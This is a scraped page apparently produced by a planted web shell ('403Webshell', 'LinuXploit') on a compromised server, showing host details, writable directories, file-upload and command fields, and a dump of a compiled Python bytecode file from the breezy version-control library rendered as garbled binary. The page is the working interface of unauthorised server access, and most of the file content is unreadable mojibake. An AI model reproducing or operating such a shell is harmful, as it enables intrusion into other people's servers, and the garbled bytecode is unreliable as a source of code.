403Webshell
Server IP : 50.21.180.56  /  Your IP : 216.73.216.208
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : ws67922704 ( 67922704)
PHP Version : 8.5.13
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/breezy/bzr/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/breezy/bzr/__pycache__/reconcile.cpython-313.pyc
�

p��gM���Sr/SQrSSKJrJr SSKJr SSKJr SSK	J
r
 SSKJr SSK
Jr S	S
KJrJr "SS5r"S
S\5r"SS\5r"SS5rg)zCReconcilers are able to fix some potential data errors in a branch.)�BranchReconciler�KnitReconciler�PackReconciler�VersionedFileRepoReconciler�)�errors�ui)�revision)�gettext)�ReconcileResult)�mutter)�	topo_sort�)�AdapterFactory�ChunkedContentFactoryc�^�\rSrSrSrSSjrSrSrSrSr	S	r
S
rSrSr
S
rSrSrg)r�#aaReconciler that reconciles a repository.

The goal of repository reconciliation is to make any derived data
consistent with the core data committed by a user. This can involve
reindexing, or removing unreferenced data if that can interfere with
queries in a given repository.

Currently this consists of an inventory reweave with revision cross-checks.
Nc�F�SUlSUlSUlXlX0lg)z�Construct a RepoReconciler.

:param thorough: perform a thorough check which may take longer but
                 will correct non-data loss issues such as incorrect
                 cached data.
�FN)�garbage_inventories�inconsistent_parents�aborted�repo�thorough)�selfr�otherrs    �6/usr/lib/python3/dist-packages/breezy/bzr/reconcile.py�__init__�$VersionedFileRepoReconciler.__init__.s%��$%�� �$%��!�����	� �
�c��URR5 [RR	5UlUR
5 [5nURUlURUl	URUl
UsSSS5 sSSS5 $!,(df   O=fSSS5 g!,(df   g=f)a>Perform reconciliation.

After reconciliation the following attributes document found issues:

* `inconsistent_parents`: The number of revisions in the repository
  whose ancestry was being reported incorrectly.
* `garbage_inventories`: The number of inventory objects without
  revisions that were garbage collected.
N)r�
lock_writer�
ui_factory�nested_progress_bar�pb�_reconcile_stepsrrrr�r�rets  r�	reconcile�%VersionedFileRepoReconciler.reconcile;s����Y�Y�
!�
!�
#�R�]�]�%F�%F�%H�D�G��!�!�#�!�#�C��,�,�C�K�&*�&>�&>�C�#�'+�'@�'@�C�$��
&I�%H�
#�
#�%H�%H��
#�
#�
#�s#�B;�AB!�	B;�!
B/	�+B;�;
C	c�$�UR5 g)�/Perform the steps to reconcile this repository.N)�_reweave_inventory�rs rr%�,VersionedFileRepoReconciler._reconcile_stepsMs�����!rc��URR5 URR[	S55 URR
UlURRUlURR5Vs1sHoSiM	 snUl	0Ul
SUlUR[UR55 URHnURU5 M UR5 UR(dKUR (aUR"(d)[$R&R)[	S55 gURR[	S5SS5 URR+5 [$R&R)[	S55 URR-5nUR[UR55 [/UR5Vs/sHo"4PM nnUR1URR3USS	5UR4[7U55nUR9U5 [7UR55URVs1sHof4iM sn:Xd
[;5eURR[	S
55 URR=5 SUl[$R&R)[	S55 gs snfs snfs snf)a8Regenerate the inventory weave for the repository from scratch.

This is a smart function: it will only do the reweave if doing it
will correct data issues. The self.thorough flag controls whether
only data-loss causing issues (!self.thorough) or all issues
(self.thorough) are treated as requiring the reweave.
zReading inventory data���r�
Inventory ok.N�Backing up inventoryzBackup inventory created.�	unorderedT�
Writing weave�Inventory regenerated.)r�get_transactionr$�updater
�inventories�	inventory�	revisions�keys�pending�
_rev_graphr�_setup_steps�len�_graph_revision�_check_garbage_inventoriesrrrr"�note�_backup_inventory�_temp_inventoriesr
�_change_inv_parents�get_record_stream�_new_inv_parents�set�insert_record_stream�AssertionError�_activate_new_inventory)r�key�rev_id�new_inventories�
revision_keys�stream�revids       rr,�.VersionedFileRepoReconciler._reweave_inventoryQsW��	
�	�	�!�!�#������w�7�8�9����.�.������,�,���+/�>�>�+>�+>�+@�A�+@�C�B��+@�A������$%��!����#�d�l�l�+�,��l�l�F�� � ��(�#�	
�'�'�)��(�(��(�(��
�
��M�M���w��7�8�������w�5�6��1�=��	�	�#�#�%�
�
�
���7�#>�?�@��)�)�5�5�7��	
���#�d�o�o�.�/�1:�4�?�?�1K�L�1K�v��1K�
�L��)�)��N�N�,�,�]�K��N��!�!��
��
��
	�,�,�V�4��O�(�(�*�+�d�l�l�/S�l�U��l�/S�S� �"�"������w��/�0��	�	�)�)�+����
�
�
���7�#;�<�=��QB��4M��0Ts�L6�&L;�,Mc�d�[URUSVs/sHo"4PM sn5$s snf)z/Lookup ghost-filtered parents for revision_key.r0)�tupler=)r�revision_keyrQs   rrG�,VersionedFileRepoReconciler._new_inv_parents�s1���D�O�O�L��<L�,M�N�,M�5�h�,M�N�O�O��Ns�-c#�"# �UH�nU"UR5nU(a>USU;a5URS5n[URXTRU5v� O[	URXT5nUv� URS5 M� g7f)z/Adapt a record stream to reconcile the parents.r�chunkedzadding inventoriesN)rL�get_bytes_asr�sha1r�
_reweave_step)rrP�get_parents�all_revision_keys�record�wanted_parents�chunks�adapted_records        rrE�/VersionedFileRepoReconciler._change_inv_parents�s�����F�(����4�N��.��"3�;L�"L� �,�,�Y�7��+��J�J����V���"0��
�
�N�!S��$�$����3�4��s�B
Bc��XlSUlg)z6Setup the markers we need to control the progress bar.rN)�total�count)r�	new_totals  rr>�(VersionedFileRepoReconciler._setup_steps�s���
���
rc��URS5 URRU5n/nURH8nUR	U5(aURU5 M,[
SU5 M: X0RU'g)z(Load a revision into the revision graph.zloading revisionszfound ghost %sN)r[r�get_revision_reconcile�
parent_ids�_parent_is_available�appendrr=)rrM�rev�parents�parents     rr@�+VersionedFileRepoReconciler._graph_revision�sp��	
���.�/��i�i�.�.�v�6�����n�n�F��(�(��0�0����v�&��'��0�	%�
#*����rc�&�UR(dg[URR55n[URR55nURU5n[
U5UlUHn[SUS5 M g)z�Check for garbage inventories which we cannot trust.

We cant trust them because their pre-requisite file data may not
be present - all we know is that their revision was not installed.
NzGarbage inventory {%s} found.r0)	rrHr9r;r:�
differencer?rr)rr8r:�garbagerUs     rrA�6VersionedFileRepoReconciler._check_garbage_inventories�sr���}�}���$�.�.�-�-�/�0������+�+�-�.�	��(�(��3��#&�w�<�� �#�L��2�L��4D�E�$rc��XR;ag[URRU4/55S:HnU=(a URRU5$)z�True if parent is a fully available revision.

A fully available revision has a inventory and a revision object in the
repository.
Tr)r=r?r9�get_parent_mapr�has_revision)rro�inv_presents   rrk�0VersionedFileRepoReconciler._parent_is_available�sM���_�_�$���$�.�.�7�7�&���D�E��J���=�t�y�y�5�5�f�=�=rc��URRXRUR5 U=RS-
slg)z,Mark a single step of regeneration complete.rN)r$r7rerd)r�messages  rr[�)VersionedFileRepoReconciler._reweave_step�s)�������w�
�
�D�J�J�7��
�
�a��
r)r=rrerrr9r$r<rr:rrd)NF)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr(r%r,rGrEr>r@rArkr[�__static_attributes__�rrrr#sA���!��$"�5>�nP�
5�"�
*�
F�	>�rrc�6�\rSrSrSrSrSrSrSrSr	Sr
g	)
r��z}Reconciler that reconciles a knit format repository.

This will detect garbage inventories and remove them in thorough mode.
c���UR(a2UR5 UR5 UR
5 gg![Ra
 SUlgf=f)r+TN)r�
_load_indexesr�
BzrCheckErrorr�
_gc_inventory�_fix_text_parentsr-s rr%�KnitReconciler._reconcile_steps�sZ���=�=�
��"�"�$�

��� ��"�"�$����'�'�
�#����
�s�A�A#�"A#c���URR5UlURR	[S5SS5 URRUlURR	[S5SS5 URR5 URRUl	URR	[S5SS5 g)z$Load indexes for the reconciliation.zReading indexesrrrN)
rr6�transactionr$r7r
r8r9�(_check_for_inconsistent_revision_parentsr:r-s rr��KnitReconciler._load_indexes�s����9�9�4�4�6��������w�0�1�1�a�8����.�.��������w�0�1�1�a�8��	�	�:�:�<����,�,��������w�0�1�1�a�8rc���URR[S5SS5 UR5 URR[S5SS5 UR(d)[
RR[S55 gURR[S5SS5 URR5 [
RR[S55 URR5nURRURR55n[U5nUVs/sHoDS	PM	  nUR[!U55 UR#UR$R'US
S5UR([+U55nUR-U5 [+UR55[+U5:wa
[/5eURR[S55 URR15 SUl[
RR[S
55 gs snf)zCRemove inventories that are not referenced from the revision store.zChecking unused inventoriesrr�r1Nr2zBackup Inventory createdr0r3Tr4r5)r$r7r
rArrr"rBrrCrDr:rvr;r
r>r?rEr9rF�__getitem__rHrIrJrK)rrN�graphrOrLrPs      rr��KnitReconciler._gc_inventory�s��������w�<�=�q�!�D��'�'�)������w�<�=�q�!�D��'�'��M�M���w��7�8�������w�5�6��1�=��	�	�#�#�%�
�
�
���7�#=�>�?��)�)�5�5�7�����-�-�d�n�n�.A�.A�.C�D��!�%�(�
�)�*�M�S�R��M�*����#�m�,�-��)�)��N�N�,�,�]�K��N�����
��
��
	�,�,�V�4���#�#�%�&�#�m�*<�<� �"�"������w��/�0��	�	�)�)�+����
�
�
���7�#;�<�=��	+s�I5c�0�URR5 URR5Vs/sHoSPM	 nn[	S[U55 URR
5nURURRUR5upEURn0nUH
n0XqS'M UR5HhupUSn	USn
[USVs/sHo�SPM	 sn5n[USVs/sHo�SPM	 sn5n
URU	05nX�4X�'Mj 0nUH,nURUS/5nURUS5 M. [U5H~unn	URR![#S5U[U55 XynUVs1sHoSU	:XdM
USiM nnUR%U	/5nUR'U	UUU5 M� gs snfs snfs snfs snf)a3Fix bad versionedfile parent entries.

It is possible for the parents entry in a versionedfile entry to be
inconsistent with the values in the revision and inventory.

This method finds entries with such inconsistencies, corrects their
parent lists, and replaces the versionedfile with a corrected version.
r0z3Prepopulating revision text cache with %d revisionsrrzFixing text parentsN)rr6r:r;rr?�_get_versioned_file_checker�check_file_version_parents�textsr$�
text_index�itemsrT�
setdefaultrl�	enumerater7r
�get�_fix_text_parent)rrL�versions�
vf_checker�bad_parents�unused_versionsr��per_id_bad_parents�details�file_idrMro�knit_parents�correct_parents�file_details�file_id_versions�text_key�
versions_list�num�versions_with_bad_parents�id_unused_versions�
file_versionss                      rr�� KnitReconciler._fix_text_parentss��	
�	�	�!�!�#�'+�~�~�':�':�'<�=�'<���G�'<��=��D�c�(�m�T��Y�Y�:�:�<�
�'1�'L�'L��I�I�O�O�T�W�W�(
�$�� �*�*�
���"�C�*,��1�v�&�#�
(�-�-�/�L�C��!�f�G���V�F� �7�1�:�!F�:���*�:�!F�G�L�#�g�a�j�$I�j�F�B�Z�j�$I�J�O�-�8�8��"�E�L�$0�#B�L� �
0���"�H�,�7�7����R�H�M�� � ��!��-�#�&�&8�9�L�C���G�G�N�N�7�#8�9�3��DV�@W�X�(:�(C�%�#2�"�#2�C�!�f��6G���B��?�
�"�-�0�0��"�=�M��!�!��2�4F�
�
�:��3>�� "G��$I��"s�H�1H	
�H
�>H�	Hc�^
^�[SU[U55 [S[U55 SU-m
0m[5nUH�nXc;aM
Xb;aX&SnO?URRRX4/5nX�U4V	s/sHo�SPM	 nn	UV
s/sHn
T
U
4PM	 sn
TT
U4'UR
X45 M� U
U4SjnURRRUSS5nURRT
5 URRRU"U55 URRU5 [T5(aURRT
U5 g	g	s sn	fs sn
f)
z9Fix bad versionedfile entries in a single versioned file.z$fixing text parent: %r (%d versions)z(%d are unused)stemp:%srr0c3�># �UHCnURS5nTURS4nTUn[X4URU5v� ME g7f)NrXr0)rYrLrrZ)rPr^r`�new_keyrn�new_file_id�new_parentss     ��r�fix_parents�4KnitReconciler._fix_text_parent.<locals>.fix_parentsVsO���� ���,�,�Y�7��&��
�
�2��7��%�g�.��+�G�f�k�k�6�R�R�	!�s�AA�topologicalTN)rr?rHrr�rv�addrF�_remove_file_idrI�
_move_file_id)rr�r�r��all_versions�needed_keys�versionrn�pmaprLror�rPr�r�s             @@rr��KnitReconciler._fix_text_parent<ss���	�2���)�*�	
�
	� �#�o�"6�7� �7�*�����e��#�G��)���5�3�<�Q�?���y�y���5�5��7I�6J�K��.2�W�3E�.F�G�.F�s�r�7�.F��G�4;�3�4;�&��f�%�G�3�K��g�.�/�
�O�O�W�.�/�$�	S������2�2�;�
�t�T���	�	�!�!�+�.��	�	���,�,�[��-@�A��	�	�!�!�'�*��{����I�I�#�#�K��9���#H��3s�F�F	)rr9r:r�N)r}r~rr�r�r%r�r�r�r�r�r�rrrr�s"���

%�9�>�B,�\&:rrc�<^�\rSrSrSrSU4SjjrSrSrSrU=r	$)riea`Reconciler that reconciles a pack based repository.

Garbage inventories do not affect ancestry queries, and removal is
considerably more expensive as there is no separate versioned file for
them, so they are not cleaned. In short it is currently a no-op.

In future this may be a good place to hook in annotation cache checking,
index recreation etc.
c�.>�[TU]XUS9 X@lg)N)rr)�superr�canonicalize_chks)rrrrr��	__class__s     �rr�PackReconciler.__init__ws���
����X��>�!2�rc�,�UR(dgURRnUR5 UR	5 UR5nURR
5n[[URRR555n[U5(agUR(aURRnOURRnU"XSX0R5nUbUR!U5 OUR!U5 U[[URRR555-
UlUR%5 g!UR%5 f=f)r+Nz
.reconcile)rr�_pack_collection�
ensure_loaded�
lock_names�	all_packs�all_revision_idsr?�list�inventory_index�combined_index�iter_all_entriesr��_canonicalize_chks_pack�_reconcile_packr$�_discard_and_saver�
_unlock_names)r�
collection�packs�
all_revisions�total_inventories�reconcile_meth�new_packs       rr%�PackReconciler._reconcile_steps{s<���}�}���Y�Y�/�/�
�� � �"�����	'��(�(�*�E� �I�I�6�6�8�M� #��Z�/�/�>�>�O�O�Q�R�!���=�!�!��)�)�%)�Y�Y�%F�%F�N�%)�Y�Y�%>�%>�N�)��|�]�G�G����'��*�*�5�1���&�&�u�-�'8�3��Z�/�/�>�>�O�O�Q�R�<�(�D�$�
�$�$�&��J�$�$�&�s
�
D&F�Fc���UH(nURRRU5 M* URRR5 URRR	U5 g)a5Discard some packs from the repository.

This removes them from the memory index, saves the in-memory index
which makes the newly reconciled pack visible and hides the packs to be
discarded, and finally renames the packs being discarded into the
obsolete packs directory.

:param packs: The packs to discard.
N)rr��_remove_pack_from_memory�_save_pack_names�_obsolete_packs)rr��packs   rr�� PackReconciler._discard_and_save�sT���D��I�I�&�&�?�?��E���	�	�"�"�3�3�5��	�	�"�"�2�2�5�9r)r�r)NFF)
r}r~rr�r�rr%r�r��
__classcell__)r�s@rrres����"3�'�@
:�
:rrc�4�\rSrSrSrS	SjrSrSrSrSr	g)
ri�z"Reconciler that works on a branch.c�*�SUlX lXlg�N)�
fixed_historyr�branch)r�a_branchrs   rr�BranchReconciler.__init__�s��!��� �
��rc�<�URR5 [RR	5Ul[
5nUR5UlUsSSS5 sSSS5 $!,(df   O=fSSS5 g!,(df   g=fr�)	r�r!rr"r#r$rr%r�r&s  rr(�BranchReconciler.reconcile�sa��
�[�[�
#�
#�
%�r�}�}�'H�'H�'J�d�g�!�#�C� $� 5� 5� 7�C���(K�'J�
%�
%�'J�'J��
%�
%�
%�s"�B
�&A3� 	B
�3
B	�=B
�
Bc�"�UR5$r�)�_reconcile_revision_historyr-s rr%�!BranchReconciler._reconcile_steps�s���/�/�1�1rc��URR5up/nURRR5nUR	U[
R45HnURU5 M UR5 U[U5:wag[RR[S5R!U[U555 URR#[U5U5 g[RR[S55 g![Ra N�f=f)Nz%Fixing last revision info {0}  => {1}Tzrevision_history ok.F)r��last_revision_info�
repository�	get_graph�iter_lefthand_ancestry�
_mod_revision�
NULL_REVISIONrlr�RevisionNotPresent�reverser?rr"rBr
�format�set_last_revision_info)r�
last_revno�last_revision_id�real_historyr�rQs      rr��,BranchReconciler._reconcile_revision_history�s
��'+�{�{�'E�'E�'G�$�
������&�&�0�0�2��	��5�5� �=�#>�#>�"@����#�#�E�*��	������\�*�*�

�M�M����?�@�G�G���L� 1��
�

�K�K�.�.�s�<�/@�BR�S���M�M���w�'=�>�?���#�(�(�	��	�s�9D,�,E�E)r�r�r$rN)F)
r}r~rr�r�rr(r%r�r�r�rrrr�s��,��
�2�rrN)r��__all__�rrr	r��i18nr
r(r�tracer�tsortr
�
versionedfilerrrrrrr�rr�<module>rs`��"J����(��'���@�k�k�\Q:�0�Q:�hC:�0�C:�L+�+r

Youez - 2016 - github.com/yon3zu
LinuXploit